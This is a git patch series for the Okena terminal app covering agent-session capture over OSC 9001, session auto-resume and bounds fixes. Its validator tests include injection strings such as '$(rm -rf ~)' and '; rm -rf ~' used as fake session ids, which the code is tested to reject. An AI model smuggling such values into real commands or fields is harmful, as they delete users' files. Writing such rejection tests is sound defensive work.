+if [ -n "$session_id" ]; then
+    json_escape() { printf '%s' "$1" | sed 's/\\/\\\\/g; s/"/\\"/g'; }
+    add_kv() {
+        [ -n "$2" ] || return 0
+        ev=$(json_escape "$2")
+        if [ -n "$lbl_json" ]; then
+            lbl_json="$lbl_json,\"$1\":\"$ev\""
+        else
+            lbl_json="\"$1\":\"$ev\""
+        fi
+    }
+    add_kv agent "$agent"
+    add_kv session_id "$session_id"
+    add_kv transcript_path "$transcript_path"
+fi
+
+# Nothing to do without a state.
+if [ -z "$state" ]; then
+    log "skip=no-state"
+    exit 0
+fi
+
+# Assemble OSC 9001 params: `st` is required; `msg`/`lbl` are optional and
+# base64-encoded so their values stay ';'/ST-safe (the VTE parser splits OSC
+# params on ';').
+params="st=$state"
+if [ -n "$message" ]; then
+    msg_b64=$(printf '%s' "$message" | base64 | tr -d '\n')
+    params="$params;msg=$msg_b64"
+    msg_info="msglen=${#message}"
+else
+    msg_info="msglen=0"
+fi
+if [ -n "$lbl_json" ]; then
+    lbl_b64=$(printf '{%s}' "$lbl_json" | base64 | tr -d '\n')
+    params="$params;lbl=$lbl_b64"
+    msg_info="$msg_info sid=$session_id"
+fi
+seq=$(printf '\033]9001;%s\033\\' "$params")
+
+# Write to the device, recording success/failure for the debug log. The write is
+# allowed to fail silently (no device, not in Okena) — that's a clean no-op.
+# `2>/dev/null` comes first so a failed-to-open redirection (e.g. no such
+# device) is suppressed too: shell redirections apply left to right, so stderr
+# must already point at /dev/null before the `>"$tty_dev"` open is attempted.
+if printf '%s' "$seq" 2>/dev/null >"$tty_dev"; then
+    log "$msg_info write=ok"
+else
+    log "$msg_info write=failed (device unwritable: $tty_dev)"
+fi
+
+exit 0
diff --git a/src/main.rs b/src/main.rs
index 8dabf2871..6ee8070f6 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -341,6 +341,17 @@ fn run_headless(listen_addr: Option<IpAddr>) -> anyhow::Result<()> {
     okena_daemon_core::DaemonCore::new(params)?.run()
 }
 
+/// Build and install the agent-harness registry — one entry per AI agent
+/// harness, keyed by agent id. Each `okena-ext-*` crate contributes how to
+/// resume its sessions / parse its transcripts; the core/app stay
+/// harness-agnostic and dispatch by the `agent` id captured via OSC 9001.
+fn init_agent_harnesses() {
+    let mut registry = okena_core::agent_harness::AgentHarnessRegistry::new();
+    registry.register(okena_ext_claude::register_harness());
+    registry.register(okena_ext_codex::register_harness());
+    okena_core::agent_harness::init(registry);
+}
+
 fn main() {
     if let Err(error) = okena_remote_server::local::remember_current_executable() {
         eprintln!("Warning: failed to remember executable path: {error}");
@@ -587,6 +598,11 @@ fn main() {
     let headless =
         explicit_headless || (cfg!(target_os = "linux") && listen_addr.is_some() && !has_display);
 
+    // Install the per-harness agent-session registry (resume command + transcript
+    // parsing, dispatched by agent id). gpui-free, so it's shared by BOTH the
+    // desktop and headless paths — do it before the branch below.
+    init_agent_harnesses();
+
     if headless {
         // Self-restart handoff (single-binary `okena --headless` daemon): a
         // daemon restarting itself spawns this process with `--await-pid <old>`
@@ -679,6 +695,7 @@ fn main() {
                             default_shell: s.settings.default_shell.clone(),
                             hooks: s.settings.hooks.clone(),
                             ctrl_c_copies_selection: s.settings.terminal_ctrl_c_copies_selection,
+                            auto_resume_agent_sessions: s.settings.auto_resume_agent_sessions,
                         }).ok()
                     }
                     "git" => {
diff --git a/src/smoke_tests.rs b/src/smoke_tests.rs
index 4384075b2..cbd082acb 100644
--- a/src/smoke_tests.rs
+++ b/src/smoke_tests.rs
@@ -56,6 +56,7 @@ mod tests {
                                 ctrl_c_copies_selection: s
                                     .settings
                                     .terminal_ctrl_c_copies_selection,
+                                auto_resume_agent_sessions: s.settings.auto_resume_agent_sessions,
                             })
                             .ok()
                         }

From 2df444c1206d52af61ec38caf1b1efd43be264e4 Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Mon, 3 Aug 2026 15:54:05 +0200
Subject: [PATCH 02/16] fix(agent-status): complete workspace fixtures

---
 crates/okena-app-core/src/workspace/actions/execute/mod.rs     | 1 +
 crates/okena-app-core/src/workspace/actions/execute/project.rs | 1 +
 crates/okena-app-core/src/workspace/actions/execute/session.rs | 1 +
 crates/okena-app/src/views/panels/project_column.rs            | 1 +
 crates/okena-mobile-ffi/src/client/manager.rs                  | 1 +
 5 files changed, 5 insertions(+)

diff --git a/crates/okena-app-core/src/workspace/actions/execute/mod.rs b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
index 50c74f534..e53029dd1 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/mod.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
@@ -1208,6 +1208,7 @@ mod reconnect_shell_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-app-core/src/workspace/actions/execute/project.rs b/crates/okena-app-core/src/workspace/actions/execute/project.rs
index 374e730a4..7886fe7e5 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/project.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/project.rs
@@ -744,6 +744,7 @@ mod hook_action_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals,
             pinned: false,
diff --git a/crates/okena-app-core/src/workspace/actions/execute/session.rs b/crates/okena-app-core/src/workspace/actions/execute/session.rs
index a8040151f..3bca5a328 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/session.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/session.rs
@@ -986,6 +986,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals,
             pinned: false,
diff --git a/crates/okena-app/src/views/panels/project_column.rs b/crates/okena-app/src/views/panels/project_column.rs
index 06f6c3ab4..720a4c868 100644
--- a/crates/okena-app/src/views/panels/project_column.rs
+++ b/crates/okena-app/src/views/panels/project_column.rs
@@ -1258,6 +1258,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-mobile-ffi/src/client/manager.rs b/crates/okena-mobile-ffi/src/client/manager.rs
index 174328925..eb41a7596 100644
--- a/crates/okena-mobile-ffi/src/client/manager.rs
+++ b/crates/okena-mobile-ffi/src/client/manager.rs
@@ -809,6 +809,7 @@ mod tests {
             show_in_overview: true,
             layout: Some(layout),
             terminal_names: HashMap::new(),
+            terminal_agent_status: HashMap::new(),
             git_status: None,
             folder_color: Default::default(),
             services: Vec::new(),

From 3012523291ba05318e1cbe9569520978e27fb1ab Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 14:25:10 +0200
Subject: [PATCH 03/16] fix(agent-status): read session identity before the
 display clamp
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Three defects in the OSC 9001 capture path, all in how agent-supplied
fields are bounded:

- The reserved `agent` / `session_id` / `transcript_path` keys were read
  from the map *after* `new_clamped` kept only the lowest MAX_LABELS
  entries, so 32 lexicographically earlier labels hid a valid session and
  the 1 KiB value cap could silently cut a transcript path. Extraction
  moves to `AgentSession::from_labels`, fed the raw decoded map.
- Re-reporting the same session without `transcript_path` replaced the
  record wholesale and flipped a known path back to None. Same-session
  reports now merge; a different session still replaces.
- `String::truncate` only moves `len`, so a decoded multi-megabyte `msg=`
  kept its full capacity alive on the Terminal for as long as the status
  was held — the documented cap bounded length, not memory.

Also swaps `libc::ptsname` for portable-pty's cached `tty_name` (resolved
via reentrant `ttyname_r`): terminals are created after the `instances`
lock is dropped, so two concurrent creations could read each other's path
out of ptsname's static buffer and export the wrong $OKENA_TTY.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 crates/okena-core/src/agent_session.rs        | 108 ++++++++++++++++++
 crates/okena-core/src/agent_status.rs         |  31 +++++
 crates/okena-terminal/src/pty_manager.rs      |  16 ++-
 .../src/terminal/osc_sidecar.rs               |  61 +++++++---
 .../okena-terminal/src/terminal/tests/osc.rs  |  72 ++++++++++++
 5 files changed, 260 insertions(+), 28 deletions(-)

diff --git a/crates/okena-core/src/agent_session.rs b/crates/okena-core/src/agent_session.rs
index cb39c04a9..4815d6f93 100644
--- a/crates/okena-core/src/agent_session.rs
+++ b/crates/okena-core/src/agent_session.rs
@@ -41,6 +41,51 @@ pub struct AgentSession {
     pub transcript_path: Option<String>,
 }
 
+/// The `lbl=` keys the agent-status OSC reserves for session identity. They are
+/// read out of the **raw** decoded label map before any display-oriented
+/// clamping, so a pane emitting a flood of other labels cannot push its own
+/// session identity out of the map (see [`AgentSession::from_labels`]).
+pub const RESERVED_LABEL_KEYS: [&str; 3] = ["agent", "session_id", "transcript_path"];
+
+impl AgentSession {
+    /// Extract the session identity from a decoded `lbl=` map, or `None` when
+    /// the pane didn't report one.
+    ///
+    /// Requires both `agent` (without it we don't know which harness could
+    /// resume) and a [`is_uuid_like`] `session_id`. Takes the map **before**
+    /// [`crate::agent_status::AgentStatus::new_clamped`] bounds it: that clamp
+    /// keeps only the lowest [`MAX_LABELS`](crate::agent_status::MAX_LABELS)
+    /// keys and truncates values, either of which would silently drop or
+    /// corrupt a valid session.
+    pub fn from_labels(labels: &std::collections::BTreeMap<String, String>) -> Option<Self> {
+        let agent = labels.get("agent")?;
+        let session_id = labels.get("session_id")?;
+        if agent.is_empty() || !is_uuid_like(session_id) {
+            return None;
+        }
+        Some(Self {
+            agent: agent.clone(),
+            session_id: session_id.clone(),
+            transcript_path: labels.get("transcript_path").cloned(),
+        })
+    }
+
+    /// Whether `self` and `other` identify the same run of the same harness.
+    /// Used to tell a *partial update* of the current session (merge) from a
+    /// genuinely new one (replace).
+    pub fn is_same_session(&self, other: &Self) -> bool {
+        self.agent == other.agent && self.session_id == other.session_id
+    }
+
+    /// Re-validate a session that came from persisted state rather than from
+    /// the live parser. `workspace.json` is user-editable and survives across
+    /// versions, so the [`is_uuid_like`] invariant the parser enforces must be
+    /// re-checked before a stored id can reach a resume command.
+    pub fn is_valid(&self) -> bool {
+        !self.agent.is_empty() && is_uuid_like(&self.session_id)
+    }
+}
+
 /// Conservative check that `s` is a canonical UUID (`8-4-4-4-12` lowercase- or
 /// uppercase-hex groups joined by hyphens). Guards the in-band, untrusted
 /// `session_id` before it is stored or used to build a resume command, so a
@@ -79,4 +124,67 @@ mod tests {
         // Defends against an injection attempt smuggled as a session id.
         assert!(!is_uuid_like("$(rm -rf ~)"));
     }
+
+    const UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+    fn labels(pairs: &[(&str, &str)]) -> std::collections::BTreeMap<String, String> {
+        pairs
+            .iter()
+            .map(|(k, v)| (k.to_string(), v.to_string()))
+            .collect()
+    }
+
+    #[test]
+    fn from_labels_requires_agent_and_valid_uuid() {
+        let s = AgentSession::from_labels(&labels(&[("agent", "claude-code"), ("session_id", UUID)]))
+            .expect("session");
+        assert_eq!(s.agent, "claude-code");
+        assert_eq!(s.session_id, UUID);
+        assert_eq!(s.transcript_path, None);
+
+        assert!(AgentSession::from_labels(&labels(&[("session_id", UUID)])).is_none());
+        assert!(AgentSession::from_labels(&labels(&[("agent", "claude-code")])).is_none());
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", ""), ("session_id", UUID)])).is_none()
+        );
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", "x"), ("session_id", "nope")])).is_none()
+        );
+    }
+
+    #[test]
+    fn from_labels_survives_a_flood_of_other_labels() {
+        // The regression this guards: reserved keys used to be read from the
+        // display-clamped map, so 32 lexicographically earlier keys hid them.
+        let mut l = labels(&[("agent", "claude-code"), ("session_id", UUID)]);
+        for i in 0..200 {
+            l.insert(format!("aaa{i:04}"), "filler".to_string());
+        }
+        let s = AgentSession::from_labels(&l).expect("session survives the flood");
+        assert_eq!(s.session_id, UUID);
+    }
+
+    #[test]
+    fn is_valid_rejects_tampered_persisted_state() {
+        let good = AgentSession {
+            agent: "claude-code".to_string(),
+            session_id: UUID.to_string(),
+            transcript_path: None,
+        };
+        assert!(good.is_valid());
+        assert!(
+            !AgentSession {
+                session_id: "; rm -rf ~".to_string(),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        assert!(
+            !AgentSession {
+                agent: String::new(),
+                ..good
+            }
+            .is_valid()
+        );
+    }
 }
diff --git a/crates/okena-core/src/agent_status.rs b/crates/okena-core/src/agent_status.rs
index b2b043496..10a9986d6 100644
--- a/crates/okena-core/src/agent_status.rs
+++ b/crates/okena-core/src/agent_status.rs
@@ -158,6 +158,11 @@ impl AgentStatus {
 
 /// Truncate `s` in place to at most `max` bytes, never splitting a UTF-8 char
 /// (drops the straddling char whole). Used to bound agent-supplied text.
+///
+/// Releases the backing allocation too. `String::truncate` only moves `len`, so
+/// a decoded multi-megabyte `msg=` would keep its full capacity alive for as
+/// long as the status is held on the `Terminal` — making the documented cap a
+/// length limit but not a memory limit.
 fn truncate_to_bytes(s: &mut String, max: usize) {
     if s.len() <= max {
         return;
@@ -167,12 +172,16 @@ fn truncate_to_bytes(s: &mut String, max: usize) {
         end -= 1;
     }
     s.truncate(end);
+    s.shrink_to_fit();
 }
 
 /// Bound a labels map against hostile input: keep at most [`MAX_LABELS`]
 /// entries (lowest keys first) and truncate over-long keys/values. Truncated
 /// keys may collide; the map dedups them, which is fine — this is a memory
 /// bound, not a fidelity guarantee.
+///
+/// Lossy by design, so anything Okena *acts on* must be read from the raw map
+/// before this runs — see [`crate::agent_session::RESERVED_LABEL_KEYS`].
 fn clamp_labels(labels: BTreeMap<String, String>) -> BTreeMap<String, String> {
     labels
         .into_iter()
@@ -270,6 +279,28 @@ mod tests {
         }
     }
 
+    #[test]
+    fn clamping_releases_the_oversized_allocation() {
+        // The cap must bound retained memory, not just the reported length —
+        // the status is held on the Terminal until the next report.
+        let huge = "x".repeat(MAX_CUSTOM_LEN * 256);
+        let s = AgentStatus::new_clamped(AgentLifecycle::Working, Some(huge), BTreeMap::new());
+        let custom = s.custom.expect("custom kept");
+        assert_eq!(custom.len(), MAX_CUSTOM_LEN);
+        assert!(
+            custom.capacity() < MAX_CUSTOM_LEN * 2,
+            "truncated custom still holds {} bytes of capacity",
+            custom.capacity()
+        );
+
+        let mut labels = BTreeMap::new();
+        labels.insert("k".to_string(), "v".repeat(MAX_LABEL_VALUE_LEN * 256));
+        let s = AgentStatus::new_clamped(AgentLifecycle::Working, None, labels);
+        let value = s.labels.get("k").expect("label kept");
+        assert_eq!(value.len(), MAX_LABEL_VALUE_LEN);
+        assert!(value.capacity() < MAX_LABEL_VALUE_LEN * 2);
+    }
+
     #[test]
     fn truncate_to_bytes_respects_char_boundary() {
         // A multi-byte char straddling the cap is dropped whole, not split.
diff --git a/crates/okena-terminal/src/pty_manager.rs b/crates/okena-terminal/src/pty_manager.rs
index 64b5450af..e652f62c1 100644
--- a/crates/okena-terminal/src/pty_manager.rs
+++ b/crates/okena-terminal/src/pty_manager.rs
@@ -2362,17 +2362,15 @@ fn first_proc_child(_pid: u32) -> Option<u32> {
 }
 
 /// Resolve the slave device path for a pty master.
+///
+/// Uses portable-pty's cached name (resolved once via the reentrant
+/// `ttyname_r` at `openpty`) rather than `libc::ptsname`, which returns a
+/// pointer into a single static buffer — terminals are created without holding
+/// the `instances` lock, so two concurrent creations could read each other's
+/// path and hand a pane the wrong `$OKENA_TTY`.
 #[cfg(unix)]
 fn slave_pty_path(master: &dyn MasterPty) -> Option<String> {
-    let fd = master.as_raw_fd()?;
-    let ptr = unsafe { libc::ptsname(fd) };
-    if ptr.is_null() {
-        return None;
-    }
-    unsafe { std::ffi::CStr::from_ptr(ptr) }
-        .to_str()
-        .ok()
-        .map(str::to_owned)
+    Some(master.tty_name()?.to_string_lossy().into_owned())
 }
 
 #[cfg(test)]
diff --git a/crates/okena-terminal/src/terminal/osc_sidecar.rs b/crates/okena-terminal/src/terminal/osc_sidecar.rs
index a28965670..670762c36 100644
--- a/crates/okena-terminal/src/terminal/osc_sidecar.rs
+++ b/crates/okena-terminal/src/terminal/osc_sidecar.rs
@@ -372,30 +372,21 @@ impl SidecarPerform {
             .and_then(decode_osc_base64)
             .map(|json| okena_core::agent_status::parse_labels_json(&json))
             .unwrap_or_default();
-        let new_status = AgentStatus::new_clamped(lifecycle, custom, labels);
 
         // Durable session capture (resume + transcript stats). The `agent` +
         // `session_id` labels are the pane's *sticky* session identity, NOT part
         // of the ephemeral status — record them on a separate field that
         // survives `st=clear`, so the pane can later offer to resume or show
-        // stats. Require both (without an `agent` id we don't know which harness
-        // could resume it) and validate the id looks like a UUID: it's
-        // untrusted in-band data that may reach a resume command.
-        if let (Some(agent), Some(sid)) = (
-            new_status.labels.get("agent"),
-            new_status.labels.get("session_id"),
-        ) && okena_core::agent_session::is_uuid_like(sid)
-        {
-            let session = AgentSession {
-                agent: agent.clone(),
-                session_id: sid.clone(),
-                transcript_path: new_status.labels.get("transcript_path").cloned(),
-            };
-            let mut s = self.agent_session.lock();
-            if s.as_ref() != Some(&session) {
-                *s = Some(session);
-                self.agent_session_dirty.store(true, Ordering::Relaxed);
-            }
+        // stats. Read from the RAW label map: `new_clamped` below keeps only the
+        // lowest `MAX_LABELS` keys and truncates values, so reading the reserved
+        // keys after it would let a label flood hide a valid session (and a long
+        // path be silently cut).
+        let reported_session = AgentSession::from_labels(&labels);
+
+        let new_status = AgentStatus::new_clamped(lifecycle, custom, labels);
+
+        if let Some(session) = reported_session {
+            self.record_agent_session(session);
         }
 
         // Notify only on a *transition* into a notifying state, so repeated
@@ -434,6 +425,38 @@ impl SidecarPerform {
                 .push(TerminalNotification { title: None, body });
         }
     }
+
+    /// Store the session identity a pane just reported, marking the persist
+    /// edge when it actually changed.
+    ///
+    /// A report for the session already on record is treated as a **partial
+    /// update**: agents send `agent` + `session_id` on every status, but only
+    /// some events carry `transcript_path`, so a plain replace would keep
+    /// flipping a known path back to `None`. A different session replaces the
+    /// record wholesale.
+    fn record_agent_session(&self, session: AgentSession) {
+        let mut slot = self.agent_session.lock();
+        let changed = match slot.as_mut() {
+            Some(existing) if existing.is_same_session(&session) => {
+                match session.transcript_path {
+                    Some(path) if existing.transcript_path.as_deref() != Some(path.as_str()) => {
+                        existing.transcript_path = Some(path);
+                        true
+                    }
+                    // No path reported, or the same one — nothing to record.
+                    _ => false,
+                }
+            }
+            _ => {
+                *slot = Some(session);
+                true
+            }
+        };
+        drop(slot);
+        if changed {
+            self.agent_session_dirty.store(true, Ordering::Relaxed);
+        }
+    }
 }
 
 /// Decode a base64(UTF-8) OSC field, tolerating a missing-pad variant (same
diff --git a/crates/okena-terminal/src/terminal/tests/osc.rs b/crates/okena-terminal/src/terminal/tests/osc.rs
index 19e80dfd2..4f59f9072 100644
--- a/crates/okena-terminal/src/terminal/tests/osc.rs
+++ b/crates/okena-terminal/src/terminal/tests/osc.rs
@@ -1566,3 +1566,75 @@ fn test_agent_session_rejects_non_uuid_session_id() {
     assert_eq!(terminal.agent_session(), None);
     assert!(!terminal.take_agent_session_dirty());
 }
+
+#[test]
+fn test_agent_session_survives_label_flood() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // 64 labels sorting before "agent" used to evict the reserved keys, because
+    // the session was read from the display-clamped (MAX_LABELS) map.
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let mut fields = vec![format!(r#""agent":"claude-code","session_id":"{uuid}""#)];
+    for i in 0..64 {
+        fields.push(format!(r#""aaa{i:04}":"filler""#));
+    }
+    let lbl = b64(&format!("{{{}}}", fields.join(",")));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    let session = terminal.agent_session().expect("session survives the flood");
+    assert_eq!(session.session_id, uuid);
+    // The displayed labels stay bounded regardless.
+    let status = terminal.agent_status().expect("status");
+    assert!(status.labels.len() <= okena_core::agent_status::MAX_LABELS);
+}
+
+#[test]
+fn test_agent_session_keeps_transcript_path_across_partial_updates() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let with_path = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}","transcript_path":"/tmp/t.jsonl"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={with_path}\x07").as_bytes());
+    assert!(terminal.take_agent_session_dirty());
+
+    // Most status events omit `transcript_path`; that is a partial update of the
+    // same session, not a retraction of the path we already know.
+    let without_path = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=blocked;lbl={without_path}\x07").as_bytes());
+    assert_eq!(
+        terminal
+            .agent_session()
+            .and_then(|s| s.transcript_path)
+            .as_deref(),
+        Some("/tmp/t.jsonl"),
+    );
+    // Unchanged session — nothing to re-persist.
+    assert!(!terminal.take_agent_session_dirty());
+
+    // A different session replaces the record wholesale.
+    let other = "11111111-2222-3333-4444-555555555555";
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{other}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+    let session = terminal.agent_session().expect("session");
+    assert_eq!(session.session_id, other);
+    assert_eq!(session.transcript_path, None);
+    assert!(terminal.take_agent_session_dirty());
+}

From defadd03068720abec289b2c61bb8abeb2e2e4ce Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 14:44:48 +0200
Subject: [PATCH 04/16] fix(agent-status): move session resume and lifecycle
 onto the daemon
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Auto-resume could never fire. The only caller of `resume_command` was
TerminalPane, which reads the GUI's workspace mirror — and since the
full-headless merge the GUI is always a thin client whose mirror starts
empty (`ApiProject` carries no `agent_sessions`, `remote_apply` seeds an
empty map). The feature predates that merge and was not re-pointed at the
daemon when it landed.

It would not have worked even wired up. Sessions are keyed by terminal id,
but a restore without a session backend clears exactly those ids, orphaning
every session; with a backend the ids survive but so does the agent, so
resuming is wrong. Both ends were broken.

The daemon now owns it end to end:

- On load, `validate_workspace_data` re-keys each surviving session from its
  about-to-be-dropped terminal id onto the pane's layout path (stable across
  that one load) in a transient `pending_agent_resumes` map.
- `spawn_uninitialized_terminals` consumes that entry as it assigns the new
  terminal id, runs the resume as the pane's *startup command* (chained after
  `on_create`, so the pane still lands on an interactive shell), and re-keys
  the session onto the new id. Consuming makes it exactly-once, and hanging it
  off the spawn path means a pane re-attaching to a live tmux session is never
  touched.
- The client-side path is gone: no argv joined into a shell line, no timed
  write into an already-attached PTY. Harness argv must now be shell-neutral
  (`resume_command_line` refuses anything else) rather than quoted per dialect.

Sessions also track the terminal now: carried across both cross-project move
paths, kept through a soft close's undo window and dropped when it finalizes,
dropped on hard close and shell switch, and pruned on load when the pane is
gone or the stored id fails the UUID check that guards persisted state.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 .../src/workspace/actions/execute/mod.rs      | 213 +++++++++++++++++-
 .../src/workspace/actions/execute/project.rs  |   2 +
 .../src/workspace/actions/execute/session.rs  |   4 +
 .../src/workspace/actions/execute/terminal.rs |   5 +
 .../src/views/overlays/project_switcher.rs    |   1 +
 .../src/views/panels/project_column.rs        |   1 +
 crates/okena-core/src/agent_harness.rs        | 131 ++++++++++-
 crates/okena-daemon-core/src/command_loop.rs  |   5 +
 crates/okena-daemon-core/src/daemon.rs        |   3 +
 crates/okena-daemon-core/src/observers.rs     |   1 +
 crates/okena-daemon-core/src/pty_loop.rs      |   3 +
 crates/okena-daemon-core/src/soft_close.rs    |   1 +
 .../src/worktree_close_watchdog.rs            |   1 +
 crates/okena-hooks/src/hooks.rs               |   9 +
 crates/okena-state/src/workspace_data.rs      |  13 ++
 .../src/sidebar/from_project_test.rs          |   1 +
 .../src/layout/terminal_pane/mod.rs           |  40 +---
 crates/okena-views-terminal/src/lib.rs        |   5 -
 crates/okena-workspace/src/actions/folder.rs  |   2 +
 .../src/actions/layout/move_ops.rs            |  22 ++
 .../src/actions/layout/tests_gpui.rs          |  90 ++++++++
 crates/okena-workspace/src/actions/project.rs |   3 +
 .../okena-workspace/src/actions/soft_close.rs |  40 ++++
 .../okena-workspace/src/actions/worktree.rs   |   2 +
 crates/okena-workspace/src/persistence.rs     | 144 ++++++++++++
 crates/okena-workspace/src/remote_apply.rs    |   1 +
 crates/okena-workspace/src/settings.rs        |   9 +-
 crates/okena-workspace/src/state.rs           |  45 +++-
 crates/okena-workspace/src/visibility.rs      |   1 +
 docs/agent-status.md                          |  35 ++-
 src/main.rs                                   |   1 -
 src/smoke_tests.rs                            |   1 -
 32 files changed, 761 insertions(+), 74 deletions(-)

diff --git a/crates/okena-app-core/src/workspace/actions/execute/mod.rs b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
index e53029dd1..7b0d7e882 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/mod.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
@@ -630,10 +630,21 @@ fn effective_terminal_launch(
     global_default_shell: &ShellType,
     shell_wrapper: Option<&str>,
     on_create: Option<&str>,
+    // Command to run after `on_create`, currently only an agent-session resume.
+    // Composed into the same shell line so the pane still hands off to an
+    // interactive shell once it exits.
+    startup_command: Option<&str>,
     env: &HashMap<String, String>,
 ) -> TerminalLaunchPlan {
     let shell = shell_type.resolve_default(project_default_shell, global_default_shell);
-    hooks::terminal_launch_plan(shell, shell_wrapper, on_create, env)
+    let composed = match (on_create, startup_command) {
+        (Some(hook), Some(command)) => Some(format!(
+            "{hook}{}{command}",
+            hooks::startup_command_separator(&shell)
+        )),
+        (hook, command) => hook.or(command).map(str::to_string),
+    };
+    hooks::terminal_launch_plan(shell, shell_wrapper, composed.as_deref(), env)
 }
 
 /// Reserve IDs and launch plans for runtime-recovery slots without touching the backend.
@@ -695,6 +706,9 @@ pub fn reserve_uninitialized_terminal_launches(
                     &settings.default_shell,
                     shell_wrapper.as_deref(),
                     on_create.as_deref(),
+                    // Recovery re-launches panes that already hold live ids, so
+                    // no restore-time resume is queued for them.
+                    None,
                     &env,
                 ),
             ));
@@ -820,6 +834,7 @@ pub fn spawn_uninitialized_terminals(
 
     let global_default = settings.default_shell.clone();
     let global_hooks = settings.hooks.clone();
+    let auto_resume = settings.auto_resume_agent_sessions;
 
     // Resolve shell_wrapper and on_create once for all terminals in this project
     let shell_wrapper =
@@ -843,18 +858,38 @@ pub fn spawn_uninitialized_terminals(
 
     let mut spawned_ids = Vec::new();
     for (path, shell_type) in uninitialized {
+        // Claim the agent session this pane carried before the restart, if any.
+        // Taking it makes the resume exactly-once; the session is then re-keyed
+        // onto the new terminal id below so the pane keeps its identity whether
+        // or not we actually resumed.
+        let pending_session = ws.take_pending_agent_resume(project_id, &path);
+        let resume_command = pending_session.as_ref().filter(|_| auto_resume).and_then(
+            |session| {
+                okena_core::agent_harness::resume_command_line(
+                    session,
+                    std::path::Path::new(&spawn_cwd),
+                )
+            },
+        );
+        if let Some(ref command) = resume_command {
+            log::info!("agent-resume: project={project_id} path={path:?} command={command}");
+        }
         let plan = effective_terminal_launch(
             shell_type,
             project_default_shell.as_ref(),
             &global_default,
             shell_wrapper.as_deref(),
             on_create_cmd.as_deref(),
+            resume_command.as_deref(),
             &env,
         );
 
         match backend.create_terminal_with_plan(&spawn_cwd, &plan) {
             Ok(terminal_id) => {
                 ws.set_terminal_id(project_id, &path, terminal_id.clone(), cx);
+                if let Some(session) = pending_session {
+                    ws.set_agent_session(project_id, &terminal_id, session, cx);
+                }
                 let terminal = Arc::new(Terminal::new(
                     terminal_id.clone(),
                     TerminalSize::default(),
@@ -1086,10 +1121,10 @@ mod reconnect_shell_tests {
     }
 
     #[derive(Default)]
-    struct RecordingBackend {
+    pub(super) struct RecordingBackend {
         created_shells: Mutex<Vec<Option<ShellType>>>,
         reconnected_shells: Mutex<Vec<Option<ShellType>>>,
-        plans: Mutex<Vec<TerminalLaunchPlan>>,
+        pub(super) plans: Mutex<Vec<TerminalLaunchPlan>>,
     }
 
     impl TerminalBackend for RecordingBackend {
@@ -1170,7 +1205,7 @@ mod reconnect_shell_tests {
         }
     }
 
-    struct TestCx;
+    pub(super) struct TestCx;
 
     impl WorkspaceCx for TestCx {
         fn notify(&mut self) {}
@@ -1183,10 +1218,13 @@ mod reconnect_shell_tests {
         }
     }
 
-    fn workspace_with_terminal(
+    pub(super) fn workspace_with_terminal(
         shell_type: ShellType,
         default_shell: Option<ShellType>,
         terminal_id: Option<&str>,
+        // Sessions queued for the root pane, as `validate_workspace_data` would
+        // leave them after a restore that cleared terminal ids.
+        pending_agent_resumes: HashMap<Vec<usize>, okena_core::agent_session::AgentSession>,
     ) -> Workspace {
         let project = ProjectData {
             id: "project".into(),
@@ -1209,6 +1247,7 @@ mod reconnect_shell_tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
